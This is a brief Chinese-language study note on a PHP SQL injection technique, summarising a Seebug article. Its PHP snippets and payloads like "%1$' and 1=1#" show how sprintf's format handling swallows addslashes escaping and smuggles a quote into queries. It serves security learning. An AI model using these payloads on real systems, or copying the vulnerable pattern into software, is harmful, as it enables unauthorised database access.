原文鏈接:https://paper.seebug.org/386/
摘要點關鍵知識點
<?php $input = addslashes("%1$' and 1=1#"); $b = sprintf("AND b='%s'", $input); ... $sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin'); echo $sql;
通過fuzz得知,在php的格式化字符串中,%后的一個字符(除了'%'
)會被當作字符類型,而被吃掉,單引號'
,斜杠\
也不例外。
如果能提前將%' and 1=1#
拼接入sql語句,若存在SQLi過濾,單引號會被轉義成\'
select * from user where username = '%\' and 1=1#';
然后這句sql語句如果繼續進入格式化字符串,\
會被%
吃掉,'
成功逃逸
<?php $sql = "select * from user where username = '%\' and 1=1#';"; $args = "admin"; echo sprintf( $sql, $args ) ; //result: select * from user where username = '' and 1=1#' ?>
還可以使用%1$
吃掉后面的斜杠,而不引起報錯
<?php $sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';"; $args = "admin"; echo sprintf( $sql, $args) ; //result: select * from user where username = '' and 1=1#' and password='admin'; ?>
國外安全研究人員Anthony Ferrara給出了另一種此漏洞的利用方式
<?php $input1 = '%1$c) OR 1 = 1 /*'; $input2 = 39; $sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s"; $sql = sprintf($sql, $input2); echo $sql;
%c
起到了類似chr()
的效果,將數字39轉化為'
,從而導致了sql注入。